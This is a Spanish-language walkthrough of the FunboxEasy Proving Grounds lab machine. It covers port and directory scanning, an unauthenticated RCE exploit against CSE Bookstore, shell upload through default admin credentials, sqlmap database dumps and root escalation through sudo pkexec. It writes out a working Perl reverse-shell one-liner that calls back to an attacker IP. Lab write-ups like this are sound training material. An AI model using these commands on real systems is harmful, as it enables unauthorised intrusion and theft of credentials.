🟢FunboxEasy

Write-up de la máquina FunboxEasy de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.113.111

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios.

nmap -p22,80 -sVC -vvv 192.168.113.111

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 8.2

  • Puerto 80 -> HTTP -> Apache httpd 2.4.41

Enumeración Web

Comenzamos viendo el contenido del puerto 80 en el navegador Web.

Vemos la página por defecto de un servidor Apache. Vamos a enumerar si existen directorios interesantes.

dirsearch -u "192.168.113.111" -i200,301 -t 30

Tenemos un archivo robots.txt y tres directorios interesantes /admin, /secret y /store. Revisamos el directorio /store.

Explotación

Método 1 (vía RCE)

Buscando CSE bookstore en Google, obtenemos un resultado interesante, un RCE no autenticado.

python3 47887.py http://192.168.113.111/store/ 

Con la shell obtenida no podemos navegar correctamente. Vamos a enumerar que binarios están disponibles en la máquina para que podamos generar un shell útil.

"perl" está disponible en la máquina, vamos a intentar utilizarlo para generar una shell.

perl -e 'use Socket;$i="192.168.49.113";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

Al mismo tiempo, ponemos a la escucha un nc en el puerto 1234.

nc -lnvp 1234

Nos dirigimos al directorio /home para buscar usuarios del sistema. Encontramos un usuario "tony".

Dentro de ese directorio tenemos un archivo "password.txt" que contiene tres posibles credenciales.

Recordamos que en el escaneo de servicios inicial, teníamos un servicio SSH en el puerto 22. Vamos a tratar de iniciar sesión en la máquina víctima con estas credenciales.

Método 2 (reverse shell en carga de archivos)

Navegando por /store, llegamos a un formulario de inicio de sesión.

Vamos a probar credenciales básicas. Las credenciales admin:admin funcionan y tenemos acceso a la plataforma de subida de nuevos libros.

Seleccionamos "Add new book", seleccionamos alguno de los títulos, editamos y cargamos el archivo shell en la carga de archivos de imagen. Modificamos la shell para burlar el filtro de imagen.

Al mismo tiempo, ponemos a la escucha un netcat en el puerto 1337.

Y volvemos a tener conexión en la máquina víctima.

Método 3 (inyección SQL)

Cuando entramos al catálogo de libros disponibles en el catálogo y seleccionamos uno de los ejemplares, vemos la siquiente URL.

Vamos a probar si es vulnerable a SQLi.

Es vulnerable a SQLi. El siguiente paso será explotar esta vulnrabilidad. Para ello, utilizaremos la herramienta "sqlmap". Después de un momento de ejecución, obtenemos información interesante.

sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store --dump 
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store -T admin --dump

Con las credenciales encontradas podemos iniciar sesión en la sección en "/store/admin.php"

Elevación de privilegios

Comenzamos enumerando si existe algún binario que podamos ejecutar como "root" sin contraseña.

sudo -l

El usuario "tony" puede lanzar múltiples ejecutables como "root" sin contraseñas. El más interesante, "/usr/bin/pkexec". Vamos a utilizar GTFOBins, para buscar como elevar privilegios aprovechando esto.

Ya tenemos privilegios máximos en la máquina objetivo. Ahora a por las flags.

Y ya tendríamos otra máquina acabada de Proving Grounds.

Last updated